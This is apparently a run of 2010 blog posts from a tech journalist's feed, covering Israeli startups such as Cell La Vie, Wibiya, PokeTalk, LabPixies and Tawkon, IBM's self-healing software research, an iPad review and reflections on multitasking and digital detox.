The study’s main purpose, Gorlicki claims, was to give federal agencies a benchmark of when radiation levels are too high. If the companies stay within those levels, they’re considered ‘kosher.’ But, he says, “we really don’t know how much and how long it would take for someone to reach proportions so high that he or she will get cancer.” Researchers are now considering a new, even longer study of up to 20 years.

Not to mention that cell phone usage has increased dramatically and phones have advanced technologically in the 10 years since the study was started. What might have been considered ‘average’ use in 2000 would pale in comparison with teenage cell phone use in 2010.

Perhaps the ideal scenario for Cell La Vie would be cooperation with, or acquisition by a cell phone manufacturer or operator. But Gorlicki isn’t optimistic: “They don’t want to have anything to do with it,’ he says, explaining that involvement could be construed as an admission that cell phone use might not be 100% safe.

Even with Cell La Vie’s protective film in place, cell phones still pose a danger – to your neighbor. Gorlicki compares phone radiation to secondhand smoke. “You could be getting secondhand radiation from the guy sitting next to you in a restaurant talking on his cell phone,” he warns. Will there eventually be cell phone-free environments, he wonders.

Beyond being potentially dangerous to bystanders, Gorlicki reminds us that cell phone use requires “good hygiene.” Even if you’re using a corded headset, you don’t want to stuff your phone in your pocket while you talk. The phone still emits the same amount of radiation. Holding it away from your body or placing it on a table is the safest bet.

Gorlicki is doing his best to live in his own ‘wise’ environment – the company’s headquarters are in his home just off of the HaBonim beach south of Haifa, in northern Israel. “I wake up and take the dogs on a walk near the shore,” he says. “What a way to start the day when you’re working for an environmentally conscious company.”

This article appeared last week on Israel21c, a great site for exploring Israel “beyond the conflict.” Check it out!

]]> https://bluminteractivemedia.com/2010/11/new-product-deflects-cell-phone-radiation-away-from-your-body/feed/ 11 Social Media Finds a Home in Wibiya’s New Toolbar https://bluminteractivemedia.com/2010/10/social-media-finds-a-home-in-wibiyas-new-toolbar/ https://bluminteractivemedia.com/2010/10/social-media-finds-a-home-in-wibiyas-new-toolbar/#comments Sat, 09 Oct 2010 16:55:50 +0000 https://bluminteractivemedia.com/?p=628

From ‘Facebook-like’ buttons to embedded YouTube videos and interactive chat, it’s rare to find a website these days that doesn’t beckon you to share your thoughts with everyone you’re connected to.

But for website owners, adding all that social interaction takes time and, if you’re not a programmer, copying and pasting esoteric HTML and JavaScript code into your site’s header or widget boxes can be a technically daunting task.

Wibiya from Israel is a hot start-up that aims to streamline the process. The company, which raised $2 million a few months back from Primera Capital and counts as one of its seed investors the ubiquitous Israeli angel and Internet guru Yossi Vardi, has built a popular toolbar that consolidates dozens of social media functions into a single space-saving strip at the bottom of your website. Wibiya’s aim is to make adding new apps and functionality as easy as a one-click install.

Among the useful Web functions that Wibiya incorporates are the ability to instantly “like” a company’s fan page on Facebook and write on its Wall without leaving the website you’re looking at; see how many other people are online and looking at the same page you are; translate the site into one of more than 40 languages; and chat with your social media friends directly from within the Wibiya bar.

Taking a cue from Apple, Wibiya has created its own app ecosystem, allowing third party developers to add their Web products to the toolbar at no cost. This has led to an eclectic range of functionality built by enthusiastic supporters that Wibiya co-founder and CEO Dror Cedar never expected.

For example, there’s an app that allows website owners to pop-up targeted messages filtered to the specific person visiting. This could be based on the page a visitor is currently viewing (say, a message about the Middle East peace process) or could kick in only after a user has been on at least five pages of the site.

Another popular app automatically turns all links on a website into “affiliate ads.” If a visitor to the site buys a product via that link, the website publisher keeps 70 percent of the revenue. Amazon is one of 25,000 merchants included in the program.

Want to raise money? Wibiya has apps for that, too. One puts a link on the toolbar to your organization’s Causes page on Facebook; another allows visitors to use PayPal to make donations a snap.

Wibiya is on the verge of releasing a developer website with an open API (Application Programming Interface) to make it even easier for developers to build Wibiya-compatible apps, Cedar says.

For publishers, Wibiya provides detailed analytics showing, for example, how many clicks the toolbar is receiving or how many Twitter updates have been tweeted via the Wibiya service. The toolbar itself is tiny – only 17K. And it plays nicely with all the leading blogging platforms, including WordPress, Blogger and Ning.

Since the toolbar is free to both third party developers and publishers, how does Wibiya intend to make money? “We work with high end publishers including Philly.com, Playboy and even the (confectionery vendor) Jellybelly.com on either a revenue-share model or one that’s based on performance,” Cedar explains. “We deal with them directly to build a tailor-made solution.”

For everyone else – the so-called “long tail” of web publishers, as Cedar describes them – Wibiya will soon introduce premium paid packages with “for example, the ability to integrate your own advertisements into the toolbar.”

Cedar didn’t start out with the intention to build Wibiya. He and his co-founders Daniel Tal and Avi Smila were working on a travel-related product called Joongle. “If you wanted to search for a flight from Tel Aviv to New York, our toolbar would give you the top 10 websites, like Kayak and Priceline, with flights to that country,” Cedar says. “Then each time you clicked, it would do the search for you.”

But when the team showed the product, potential clients kept saying “wouldn’t it be great to have another button that would show my most recent posts, or one that displays photos,” Cedar recounts. Realizing that there was an even bigger market beyond travel, the company quickly switched gears. “After the 10th time, we said okay. The demand came from the publishers themselves. People really wanted it.”

One concern we had was whether creating yet another way to share information across the Web would cause alarm, much in the way that Facebook has taken a drumming recently for its fungible privacy policies. Moreover, will users be paranoid that Wibiya may follow them around, tracking what they’re doing on the Web?

Cedar assures us that Wibiya is just “an enabler. We don’t do anything automatically and we don’t save your information. We’re completely transparent.” Still, Wibiya may have to be more proactive in spelling things out to put visitors at their ease.

As for the name Wibiya, it’s a play on words – a “wib” is a widget bar. “We didn’t like ‘widget,’ ” Cedar says.”That implies a static component.”

Indeed, with Wibiya’s functionality, financing and future prospects, the company is anything but static.

This article originally appeared on the Israel21c website.

]]> https://bluminteractivemedia.com/2010/10/social-media-finds-a-home-in-wibiyas-new-toolbar/feed/ 7 Getting Away from Technology https://bluminteractivemedia.com/2010/09/getting-away-from-technology/ https://bluminteractivemedia.com/2010/09/getting-away-from-technology/#comments Mon, 06 Sep 2010 15:32:32 +0000 https://bluminteractivemedia.com/?p=609

A student on a class trip to Poland

I wrote in an earlier post about how human beings aren’t built to truly multitask – an action we increasingly rely on to parse all the data coming at us from the web or our mobile devices. New research is trying to figure out not only what happens psychologically when we try to do two things at once, but whether our brain neurology is being re-mapped by our incessant use of technology.

The preliminary answer seems to be yes, and it’s not necessarily good news. New York Times technology journalist Matt Richtel participated earlier this year and is now writing about a unique week-long backpacking trip undertaken by a group of scientists where gadgets were banned and their itinerary took them far out of the range of cell phones.

Would these highly connected researchers act – no, think – differently in such a situation, he asks?

The scientists were split, according to Richtel in an interview with Terry Gross on NPR’s Fresh Air interview program, with some feeling that “the constant stream of data was making it increasingly difficult to focus and concentrate” and others saying “the benefits of having constant access to information far outweighed any consequences.”

But all of the scientists noticed that they began to feel more relaxed and more engaged in the world. They slept a little better; waited a bit longer before answering a question. “You don’t feel in (such) a rush to do anything, your sense of urgency fades,” Richtel says.

But only after three days – that was the amount of time for the disconnect effect to kick in. This might explain why we feel more relaxed after a three-day weekend as opposed to a “normal” two-day break from work.

Why is this the case? A laboratory study had rats learning new tasks. When the rats were given time away from the task to process it, the action moved into memory and real long-term learning took place. Without that down time, the rats were more prone to forget what they’d just done.

We can extrapolate that, Richtel says, to our contemporary lives, where we rarely give ourselves a break. If we’re waiting for an appointment and the person we’re meeting is late, what do we do? We pull out our smart phone and check email, text, browse the Internet or play a game. Even people without smart phones may listen to music on an iPod.

What we need to do, Richtel claims, is simply “be,” to not fill every moment with something electronic, to let the learning consolidate in our brains.

Richtel is certainly not advocating a ban on technology. He is adamant that our use of the web and mobile devices has made us more productive – he uses the example of using a Google map to find an address than having to call the person and write down directions  – and he readily admits he couldn’t survive the 21st century without his addictions.

And addiction it is. Why do you feel compelled to check email constantly, for example? Because you never know when there will be something exciting coming in. Each new message gives the brain a squirt of dopamine. If you had advance warning that interesting messages would only be delivered at 4:00 PM, you’d be less inclined to alt-tab to Gmail throughout the day.

Indeed, The New York Times reports that the average computer user checks 40 websites a day and can switch programs 36 times an hour!

Technology is like food, he posits. You need to eat and there’s no reason not to appreciate tasty (and hopefully nutritious) meals. But “we know that some food is Twinkies and some food is Brussels sprouts,” Richtel quips. And we’re well aware that you can also over-eat which has obvious negative consequences.

What about our teenagers who are growing up on ubiquitous screens, frantically checking Facebook, email, tweets, chat and Skype wherever they are? Will their brains look different than those of us who had to go into the living room to get access to a screen (the television)?

The research is pointing to yes. Our brains are elastic, Richtel explains. It’s not as if our ways of processing information is fixed at birth and never changes. Each new technology modifies the neural pathways, in particular the frontal lobe which is the last to develop. How it does that is the subject of upcoming research which Richtel will be writing about later this year.

While our 17-year-old daughter Merav was away on a school trip to Poland this summer, she made a point of not checking in online. Merav’s experience in Poland, visiting lost Jewish communities and crying at the concentration camps, was intense – “difficult but meaningful” is how she described it upon her return home. Was her level of engagement different than her peers, many of whom were texting away at the dinner table?

It would be presumptuous for me to make such a claim. But it’s undeniable that our use of technology profoundly affects us. I, for one, am looking forward to the Jewish holidays this year – Rosh Hashana and Shabbat coincide in such a way that those who observe the High Holy Days according to a more strict interpretation of Jewish law will have a full three days of enforced technology deprivation.

I wonder how I’ll feel on the other side?

Matt Richtel received the Pulitzer Prize in 2010 for a series in The New York Times on driving while multitasking.

A shorter version of this article appeared on Israelity.

]]> https://bluminteractivemedia.com/2010/09/getting-away-from-technology/feed/ 48 The Wedding Will Be Webcast https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/ https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/#comments Thu, 19 Aug 2010 10:16:01 +0000 https://bluminteractivemedia.com/?p=602

Sammy and Isaac

The happy couple "live"

A couple of weeks ago, we attended the wedding of good friends, Sammie and Isaac. The wedding was a blast with all the usual features of Israeli nuptials: chuppah, dancing, speeches and those greasy fried “cigars” stuffed with minced meat (of which I always partake too heartily).

There was one element, though, that I’ve never seen before (although maybe I’m just not invited to the right weddings). Prior to the simcha, the couple sent out an email that announced that, for those who couldn’t attend, the evening would be broadcast live over the Internet.

Now, live web streaming is nothing new and there are plenty of vendors eager to upgrade you to a “pro” account – Ustream and Livestream are just a couple that come to mind. I often catch up live online with TechAviv, a hi-tech group that meets monthly in the Tel Aviv area, when I’m feeling too lazy to hoof it over from Jerusalem. But I haven’t seen the technology used for a wedding.

The way it worked was a bit funky: one of the wedding guests had set up a small laptop with a built in camera and microphone facing the chuppah. When he wanted to pan around the crowd, he picked up the whole laptop and did a 360.

Since he had plugged the laptop into a 3G wireless card (I guess the wedding hall’s WiFi wasn’t dependable), he was able to later walk around the dance floor, as well as grab shots of guests chowing down at each of the tables – although with that brick of a broadcast unit, he wasn’t quite as nimble as a wedding photographer.

This isn’t state-of-the-art yet: the sound was muddled and the video not up to TV network quality (or even watered down YouTube, for that matter), but it’s still a great idea, not just for family that can’t make it from overseas but local guests for whom a time conflict may preclude in-person attendance.

And the coolest part: the video is still online. So even guests who were there can catch a glimpse of themselves doing the chicken dance.

If you want to view some of Sammie & Isaac’s wedding, here’s the link.

This piece appeared originally on the Israelity blog.

]]> https://bluminteractivemedia.com/2010/08/the-wedding-will-be-webcast/feed/ 34 Software: Heal Thyself https://bluminteractivemedia.com/2010/08/software-heal-thyself/ https://bluminteractivemedia.com/2010/08/software-heal-thyself/#comments Wed, 11 Aug 2010 05:41:11 +0000 https://bluminteractivemedia.com/?p=596

ibm-research

IBM research facility in Haifa

If your computer gets sick, would you rather give it a full system overhaul or the equivalent of a digital Advil to relieve the symptoms? Onn Shehory and his team at Israel’s IBM Haifa research facility have developed much more than a computerized analgesic. Say hello to the world’s first self-healing software.

The project – called SHADOWS for “a Self Healing Approach for Developing cOmplex softWare Systems” – was proposed by Shehory and funded by the European Union’s 6th Framework Program, a technology initiative that invests in promising international endeavors. The idea was to emulate how the human body behaves and apply it to software.

“When you develop some sort of dysfunction, the body senses this and reacts automatically,” Shehory says. “It is essentially self-monitoring.” SHADOWS does the same for computer systems. “It recognizes specific misbehaviors, classifies them into possible types of problems, and then for the serious ones, makes the appropriate adjustments,” he says. This may include inserting new lines of codes before a program runs or moving around memory resources, to prevent the most common reasons for system crashes.

In the case of memory, for example, Shehory explains that “we can manipulate the usage of memory without actually knowing where the problem is coming from. We don’t have to find the bug, just to know that something is wrong.”

That’s the same way that a pain and fever medication acts on the body. “Instead of a week of fever, you might just have a half an hour at the end of the week,” he says. “It doesn’t remove the root cause – the virus – but it will prevent the fever from coming back for a long time.

“In order to continue benefiting from the advances and innovations becoming available in the IT landscape, software developers and architects must begin to design software… to incorporate internal safeguards that can both identify and repair problems,” adds Yaron Wolfsthal, head of the Reliable Systems Technologies group at the IBM Haifa lab.

The need for self-healing software is clear: Computer systems are now ubiquitous, a part of everything from dishwashers to managing a countrywide electricity grid. The problem is that software systems are inherently buggy. Even utilizing software testing, reviews and other protective measures, “with millions of lines of code, it’s too difficult to identify all the problems in advance,” Shehory says.

Traditional approaches to fixing software have meant calling on engineers to sift through the code, locate the bug and repair it – a process that’s akin to searching for a needle in a digital haystack. And yet, “we can’t afford for systems to fail on critical missions… or even non-critical missions,” exhorts Shehory.

SHADOWS doesn’t go so far as to create self-aware artificial intelligence – no worries about a Terminator-style SkyNet attacking the planet. Nor is it specifically targeted at preventing terrorists from bringing down global networks. “It’s not about security, it’s about the robustness of the code,” Shehory explains, although he suggests that since SHADOWS can identify problems as they start to brew, it may allow programmers to jump into action if they sense a cyber-attack is imminent.

SHADOWS is sophisticated but doesn’t require any changes to existing legacy computer systems – it can sit alongside those programs monitoring their action and only start working its magic when it detects something awry. Shehory hopes, however, that programmers will speed things up by manually inserting “comments” when they write the software that can direct SHADOWS to look at, say, only 10,000 rather than a million lines of code.

The genesis of SHADOWS was a proposal IBM in Israel made to a European Union program that promotes collaboration in research and technology across Europe. Eight other partners joined IBM in the three-year, $5 million project – major universities including the University of Potsdam in Germany and the Brno University of Technology in the Czech Republic, and technology heavyweights such as Phillips Electronics of the Netherlands and the Spanish phone carrier Telefonica, which provided a case study on the use of the SHADOWS technology. The EU pays for 50 percent of the project with the IBM lab responsible for the other half.

Despite the innovation, SHADOWS is not yet ready for prime time – it’s more a general research-oriented framework than an actual, saleable product – although parts of it may be commercialized. Each partner in the project owns its own intellectual property should a marketable solution ultimately be developed.

In the meantime, Shehory is considering applying for a second stage grant to address the technology’s biggest limitation: The resistance of the people who write the computer systems that need SHADOWS to inserting machine-generated code automatically into their babies.

“The psychological effect is very strong,” Shehory admits. “If SHADOWS writes some new code, the programmer might be hesitant, thinking ‘can I trust this, will it work properly?’ “The solution may be as simple as adding a feature that “recommends” the change, allowing the engineer to decide whether or not to accept it.

Still, Shehory says, “we’re trying to find technical ways to address this difficulty without human intervention.” Software – heal thyself.

This article originally appeared on Israel21c.

]]> https://bluminteractivemedia.com/2010/08/software-heal-thyself/feed/ 43 Multitasking in Tel Aviv https://bluminteractivemedia.com/2010/07/multitasking-in-tel-aviv/ https://bluminteractivemedia.com/2010/07/multitasking-in-tel-aviv/#comments Wed, 14 Jul 2010 10:31:57 +0000 https://bluminteractivemedia.com/?p=585

From right to left: me, Benjy Lovitt, Lior Manor and his iPad

From right to left: me, Benjy Lovitt, Lior Manor and his iPad

A recent episode of the NPR program Science Friday featured an interview with Clifford Nass, the author of the forthcoming book “The Man Who Lied to His Laptop,” about whether human beings are truly able to multitask. His conclusion: not really.

Nass says that we have the illusion of multitasking, but in reality, we are switching from one task to another so quickly it seems like we’re doing more than one thing at once. The problem is that, every time we switch, there is a micro-millisecond delay and that teeny tiny pause causes us to be less productive even when we feel we’re sailing high.

I had a chance to experience the woes of obsessive multitasking first hand earlier this week when I attended the 140 Characters conference in Tel Aviv. The event, produced all over the world – including Israel – by social media and VoIP guru Jeff Pulver, is dedicated to exploring the “real time web” (a fancy way of referring to web and mobile services that let you follow a stream of never ending status updates as they happen).

As I sat in the lecture hall at Tel Aviv’s Afeka College listening to the lectures (which, in true short attention span spirit, were allotted on average no more than 10-15 minutes each), I had my laptop with me open to TweetDeck, a Twitter desktop client where I could follow along as much of the room was “live tweeting” what was happening on stage; Gmail – which I checked incessantly while simultaneously chatting with people both in and outside of the room itself; Facebook – of course (just for fun); an Excel spreadsheet of all the attendees sent by Pulver – so I could scope out who to approach during the networking breaks; a live video stream of the conference itself (with a slight time delay); and Evernote – a application I used to take notes on my laptop which were then automatically synched to my home computer, iPhone and (when I get one) iPad.

And if the lectures ever got boring, I’d brought with me a copy of an article I was working on that needed an edit.

By the time the conference was over, I actually breathed a sigh of relief as I finally caught a break in the long drive back to Jerusalem.

Not so for Michael Matias, a 14-year-old who took the stage for his 10 minutes of fame to tell us about “growing up in real-time.” My multitasking experience is his daily reality. He adds to the mix doing homework while simultaneously watching TV on his laptop (42-inch flat screens are so 2006) and playing online chess and poker. He says he spends at least 5 hours a day online, not including class when he often uses the school computers. When he needs to study, it’s as likely to be via video conference than an in-person cram session.

Matias is a relative pauper when it comes to Facebook friends – he only has 300 and says he only accepts someone he’s met in person. Although he does spend time with people in the so-called “real world,” he told the audience that in some ways he actually prefers his online world. “It brings me closer to them. I can hang out with more than one person at the same time.” No, he doesn’t think he spends too much time online and, when asked which of his real-time tools he’d give up if necessary, he quipped that he couldn’t. “It would be like choosing between my mom and my dad.”

The rest of the conference was interesting (if less shocking). Israeli comedian Lior Manor did “Twitter magic” – he asked the audience to tweet a number between one and 140 (get it, the 140 character maximum Twitter imposes), then he picked a number from his real-time Twitter stream and did a card trick in person – no different than what magicians have been doing for years except that he used an iPad to display the input.

Yossi Taguri talked about his latest startup Fiidme which lets you “share your satisfaction” about food. “If you’re in a restaurant,” he explained, “you can ask your friends what’s good on the menu and they’ll tweet you their recommendations.” With a grin, he added that they also “thought it would help us get free lunches.” His business partner Lior commented that being in a restaurant “without wireless is very frustrating.” (Whatever happened to the romantic candlelit dinner?)

There was also a session on using Twitter to do good in the world: an Israeli company called JustCoz lets you “donate” your Twitter status to organizations to raise awareness about their causes. In just under a month online, 100 organizations have signed up for the free service, gathering 1,200 supporters which provide re-tweeting access to more than a million people.

Now that’s a great idea from the real time web…if we can actually take a moment away from our incessant multitasking to participate.

Oh, and about that article I was writing? I guess I succeeded because you’re reading it now.

This article was originally posted at Israelity last week immediately following the 140 conference.

]]> https://bluminteractivemedia.com/2010/07/multitasking-in-tel-aviv/feed/ 5 My Day with the iPad https://bluminteractivemedia.com/2010/06/my-day-with-the-ipad/ https://bluminteractivemedia.com/2010/06/my-day-with-the-ipad/#comments Wed, 30 Jun 2010 14:37:15 +0000 https://bluminteractivemedia.com/?p=571

Totally drool-worthy

Last week, I hired a team to design and build a cool new iPad app for me (more on that in the coming weeks). The problem was that, at the time, I’d never actually held or used an iPad. So I was truly delighted when my friend Mitch Simon, who runs a successful coaching business in San Diego and was visiting us over the weekend, offered to leave his iPad with me for a day while he went out to tour the country.

Here, then, are ten comments from my day with the iPad.

1. First of all, it’s totally drool-worthy. I don’t know why, but when you pick it up and start to play with it, you immediately fall in love. Especially kids. I had a gaggle of children, ages 13 and under, begging to touch it, swipe it, shake it and turn it around so the screen reformats this way and that. I wanted it for business reasons; they were all about the fun. And Steve Jobs is right: it really is the best way to interact with the web.

2. I can touch type on it. Unlike the iPhone, where I’m all thumbs (literally), the virtual keyboard on the iPad in landscape mode is just big enough to let me type normally. That makes the iPad an ideal device to take to a lecture or conference. I found Apple’s Pages word processing program easy-to-use and intuitive (if not as powerful as Word on my Mac). Add in the long-life battery and the iPad is, as some controversial pundits have already claimed, a NetBook killer. And for all the naysayers who say you need to “feel” the click of a real keyboard, I say – get over it. You will get used to it.

3. Typing on the iPad has one big disadvantage over a laptop: unless you’ve attached an external keyboard, the iPad has to lie flat on a table or desk. That makes it hard to fully take advantage of the benefit of the screen – it’s angled away from you. It works OK if you have your feet on the couch, but didn’t your mother teach you never to do that?

4. As print newspapers begin to be phased out, reading the paper over breakfast is something the iPad will be great at. Although I’m not a regular reader of USA Today, the app version is superb and immediately intuitive. The fonts were big enough for even my middle-aged eyes. One disadvantage: if your fingers get dirty or sticky (eating pancakes or anything with syrup), that’s going to muck up your screen much more than a smudge on a printed paper.

5. It’s still too heavy for reading in bed. I want a device that’s as light as a paperback that I can hold in one hand (you know, like a Kindle). The iPad is somewhere between that and a hard cover book. But otherwise, the screen is brilliant and some of the tricks – like highlighting text and taking notes – are really helpful. And I know it’s just a “gimmick,” but the animation for flipping the pages really is fun

6. Despite the weight in bed, walking around with the iPad is a pleasure. My friend Mitch put his iPad in a leather case and it feels like one of those “old fashioned” diary books that I used to carry so long ago. Think of it as a slightly hefty yellow note pad. I found myself bringing the iPad everywhere with me.

7. The bathroom test – come on, you know at some point you’re going to want (or need) to hold the iPad while on the toilet instead of a newspaper or book. So, to be comprehensive, I gave it a spin. Here it works better than reading a book in bed: I don’t mind using both hands to hold it and it’s great having a variety of reading material in case your stay in the washroom is, um, a bit lengthy.

The kids can't get enough

The kids can't get enough

8. Pictures look fantastic on the iPad – so much so that I can’t imagine ever printing out photos and placing them in an album again. Before the iPad, it was a bit awkward having to pull out a laptop or ask friends and family to crowd around my desktop screen to see snapshots from our latest vacation. The iPad takes it to the couch. And it’s a whole lot more convenient than carting over 17 albums worth of photos (of course, digitizing all those albums will be a major undertaking).

9. Ditto for video – it’s like having one of those dedicated DVD players they used to give out in business class in airplanes before the built-in TVs came out – except a whole lot smaller. And it’s just big enough to share – at least a couple people at once (I wouldn’t try to watch Date Night on an iPad with the gang).

10. Biggest pet peeve – no front facing camera. Come on Apple, we know you’re just holding back until next year so you can generate more sales, but I want to be able to video Skype or FaceTime with my family when I’m on the road (or in bed – what is it that makes me want to snuggle up with the iPad). This may be the killer app…why do we have to wait?

So, did I add anything new to the discussion? What do you think? Please leave your comments below.

]]> https://bluminteractivemedia.com/2010/06/my-day-with-the-ipad/feed/ 6040 Free Phone Calls: a PokeTalk Update https://bluminteractivemedia.com/2010/06/free-phone-calls-a-poketalk-update/ https://bluminteractivemedia.com/2010/06/free-phone-calls-a-poketalk-update/#comments Fri, 04 Jun 2010 07:25:50 +0000 https://bluminteractivemedia.com/?p=564

PokeTalk Woman on Phone

Do blondes have more fun on PokeTalk?

In January 2009, I wrote an article for Israel21c about PokeTalk, a then new startup offering free VoIP calls using regular phone lines. I bumped into the company’s founders Shai Genish and Boaz Bahar Wednesday night at a meeting of the TechAviv Founder’s Forum and I thought I’d share the original article with you here on the Blum Interactive Media along with some company updates.

The 2009 article was topical, coming in the midst of Israel’s Operation Cast Lead operation in Gaza. Since then, the company has expanded its offerings to include paid calls that can last longer than the free service’s maximum 10 minutes duration, along with many other cool features such as web callback and analytics.

But I also heard some disturbing news: PokeTalk has been hit by a significant amount of fraud where unscrupulous hackers have redirected calls, resulting in tens of thousands of dollars in charges for PokeTalk. The situation has gotten so bad that the company is now investing in building its own security software which will also be available to other VoIP services and not just PokeTalk.

Shai and Boaz are both very sincere and enthusiastic Israel entrepreneurs who I like a lot. So, here’s the original article without changes.

—————————————–

Residents of the southern part of Israel in range of missiles from Gaza can now make phone calls up to 30 minutes to their friends and relatives entirely for free, thanks to a new Israeli startup called PokeTalk. The service, which is already operational in 60 countries around the world, is good for any calls between two phone numbers in Israel’s 08 area code.

PokeTalk has been flying high since its launch three months ago. The company, founded by two 25-year-olds in Tel Aviv – Shai Genish and Boaz Bahar – has signed up 70,000 users nearly entirely on word of mouth and viral marketing alone.

The service, like fellow Israeli-founded company Jajah, uses voice-over-IP to connect regular phones, not just two computers.

As with any good idea, though, there’s a catch: calls are limited to 10 minutes. The promotion on Israel’s front lines triples that amount.

Ten minutes (or even 30) may seem like a deal breaker but, says Genish, the average call placed is only two minutes and 40 seconds. And 70 percent of calls from a mobile phone are a mere 80 seconds. “Other than for business calls, 10 minutes is usually more than enough.”

PokeTalk is essentially an automated version of the call back systems that were once popular in Israel as a way of saving money. But rather than calling a certain phone number, with PokeTalk you enter your number and the number you want to call on the PokeTalk site. A few seconds later, your phone rings. You pick up and PokeTalk places the call.

I took a test drive and the quality is quite good – certainly on a par with other voice-over-IP systems like Vonage, Gizmo5 or even Skype.

So how can PokeTalk offer even 10 minutes of talk time for free? On-site advertising. Since you’re required to initiate your call from the web, PokeTalk can show you advertisements on screen. That’s a whole lot less annoying than some other free phone systems that put 10-second audio ads before a call is connected.

After only three months in operation, PokeTalk is far from profitable – only 50 percent of calls are covered by ad revenue – but the small eight-person company has raised $1.25 million from Maayan Ventures and private investors. Genish says he hopes to be in the black by the end of 2009.

PokeTalk calls can originate from 13 countries – including Israel, the US, Canada and Germany, though notably not the UK – and can be connected to 60 nations, from Kazakhstan to New Zealand. Mobile phones are supported in nine countries.

Of PokeTalk’s 70,000 users, 40,000 are in Israel. A viral “refer a friend” program has been successful at recruiting new users too (if your friend signs up, you receive an extra 10 minutes on your next call).

On an average day, up to 7,000 users login and make close to 18,000 calls.

The company has been featured on Israel’s Channel 10 news and in The Marker and Globes business supplements. Genish estimates that a series of interviews that appeared in the “VoIP Guides” online publication led to some 10,000 new users.

The company’s current promotion in the south of Israel probably won’t generate a significant number of new customers, but it’s a noble gesture that helps local residents in tough times.

]]> https://bluminteractivemedia.com/2010/06/free-phone-calls-a-poketalk-update/feed/ 17 LabPixies Investors Share Insights into Company’s Acquisition by Google https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/ https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/#comments Mon, 24 May 2010 10:42:36 +0000 https://bluminteractivemedia.com/?p=560

Yaron Carni 2

Yaron Carni, lead investor

Google’s announcement last month that it was acquiring Tel Aviv-based LabPixies for a rumored $25 million caught some Israeli analysts by surprise. That’s a tidy sum for a small startup with just 12 employees that has raised less than $2 million over its four years of operation.

Yaron Carni, LabPixies’ lead investor wasn’t caught out, however. “I immediately loved the company’s products, their vitality and, of course, the team,” he said. Speaking on behalf of a handpicked group of angels including Auren Hoffman and Fabrice Grinda, Carni added “we were all deeply impressed with the character, commitment, talent and forthrightness of the founders.”

LabPixies was particularly attractive to Google due to the company’s role in developing some of the first and subsequently leading ‘gadgets’ for the iGoogle platform, Google’s alternative interactive home page. LabPixies products have garnered as many as one billion impressions a month while signing up 40 million users. One of its most popular products is ‘Flood-It,’ a game that involves dragging colored balls around the screen. “It’s very addictive,” admitted Carni.

LabPixies also builds translating programs, news and weather reports, calculators and calendars that run on other social network services including Facebook, Hi5, Yahoo and MySpace, as well as Google’s own Android mobile operating system.

However, LabPixies doesn’t make its money from the Web, but by selling mobile apps, primarily for the iPhone. Company CEO Ran Ben-Yair won’t divulge financial information, but he did tell the Israeli business journal The Marker several months back that the company has “millions of dollars in revenues.” Carni added that the company has kept costs down by staying “lean.”

Despite Google’s increasing competition with Apple in the mobile space, there’s no indication that the search engine giant will drop its support for LabPixies’ iPhone products.

Google plans to merge LabPixies into its Tel Aviv office, which according to a press release “will anchor our iGoogle efforts across Europe, the Middle East and Africa,” leveraging LabPixies’ “knowledge and expertise to help developers and improve the ecosystem overall.”

The big winners, of course, are the investors and LabPixies founders – CEO Ben-Yair, VP R&D Oded Poncz, VP business development Nir Tzemah, and creative director Udi Graff.

Investor Fabrice Grinda wrote on his blog that he was “seduced by the company. They had crazy amounts of traffic in the right countries (Western Europe and the US). Their users loved them. Moreover, their products fell squarely in a rapidly growing ecosystem: Social networks and mobile applications.”

If anything, Grinda was sorry to “sell so early. The company and team are great and the category is only becoming bigger.”

Google Israel’s managing director, Prof. Yossi Matias, is understandably bullish on high-tech in the country. “Google believes in Israeli innovation and creativity and we’ll continue to strive for collaborations with local companies and startups in the future,” hesaid .

Carni, in turn, is a big believer in Google. The deal to buy LabPixies spanned a number of months, Carni said, during which time Google was “a pleasure to work with… from the product people to the human resources professionals. They were always direct, honest and comprehensive.”

LabPixies is Google’s first acquisition in Israel. The company joins other international Internet heavyweights such as AOL, Microsoft and eBay who have invested in the local Silicon Wadi high-tech scene. Google has been active in Israel since 2005 but has never bought a company until now.

This post originally appeared on the Israel21c website.

]]> https://bluminteractivemedia.com/2010/05/labpixies-investors-share-insights-into-company%e2%80%99s-acquisition-by-google/feed/ 8 Tawkon Helps Reduce Radiation Danger from Your Cell Phone https://bluminteractivemedia.com/2010/05/tawkon-helps-reduce-radiation-danger-from-your-cell-phone/ https://bluminteractivemedia.com/2010/05/tawkon-helps-reduce-radiation-danger-from-your-cell-phone/#comments Wed, 05 May 2010 09:03:22 +0000 https://bluminteractivemedia.com/?p=551

Gil Friedlander, Tawkon CEO

Gil Friedlander, Tawkon

What do you do when you suspect something’s bad for you but you just can’t stop doing it? That’s a question many cellular phone users have been asking themselves, with reports of radiation emissions from their mobile devices raising serious questions about the safety of our increasingly un-tethered society. A new Israeli startup may have the solution.

Tawkon has entered the fray with an inexpensive application for the iPhone that warns users when radiation levels have inched up too high and provides advice on how to counter the potentially negative effects.

The company says that its solution gives users the information and tools to avoid mobile phone radiation as much as possible by “mapping” their homes or offices so they’ll know where they’re exposed to significant levels of mobile phone radiation. It also supplies simple precautionary measures to minimize radiation, based on a user’s location and phone usage.

However, you won’t find this app on your iPhone any time soon, because Apple has banned it. Apple says that Tawkon is a diagnostic tool that would create confusion for iPhone owners from a usability perspective. Tawkon believes that Apple doesn’t want its customers to install an app that appears to advise them to talk less – even though its stated aim is to make it safe for them to “talk on.”

Tawkon founder and CEO Gil Friedlander is taking it in his stride. He says that his company is in discussions with Apple and that he is “optimistic and hopeful that the issue will be solved soon.” He insists that he’s not an anti-cell phone zealot. “We love our phones, too,” he says of the Tawkon team. “We won’t give them up. But we can help people use them more responsibly.”

In the meantime, the company is pressing forward with porting the application to other devices, starting with the Blackberry then expanding in the coming year to cover Google’s Android operating system and the Symbian OS used by Nokia phones.

Friedlander describes the Tawkon app as “like infrared goggles – suddenly you can see at night. We view ourselves the same way. We give users the ability to see and feel non-ionizing radiation. Once you know whether you’re in a red, orange or green zone, you have the information you need to take action.”

That action might be to move to a different location until the radiation levels drop, or to plug in a headset or use a speakerphone in your car.

